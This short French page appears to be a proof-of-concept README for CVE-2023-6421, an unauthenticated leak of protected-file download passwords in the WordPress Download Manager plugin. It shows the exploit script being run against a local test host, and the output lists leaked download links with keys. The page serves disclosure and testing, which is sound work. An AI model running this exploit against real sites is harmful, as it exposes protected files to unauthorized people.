CVE2023 6421

CVE-2023-6421

Gestionnaire de téléchargement < 3.2.83 - Fuite de mot de passe de téléchargement de fichier protégé non authentifié

Description

Le plugin ne protège pas les mots de passe de téléchargement de fichiers, les divulguant dès la réception d'un mot de passe invalide

POC

 python3 CVE-2023-6421.py https://kubernetes.docker.internal
No link generated for ID 1.
No link generated for ID 2.
Response for ID 3: https://kubernetes.docker.internal/?page_id=3&wpdmdl=3&_wpdmkey=6706819b904ce
No link generated for ID 4.
No link generated for ID 5.
No link generated for ID 6.
No link generated for ID 7.
No link generated for ID 8.
Response for ID 9: https://kubernetes.docker.internal/?wpdmdl=9&_wpdmkey=6706819f1b1f6
Response for ID 10: https://kubernetes.docker.internal/1-1/?wpdmdl=10&_wpdmkey=6706819fa0654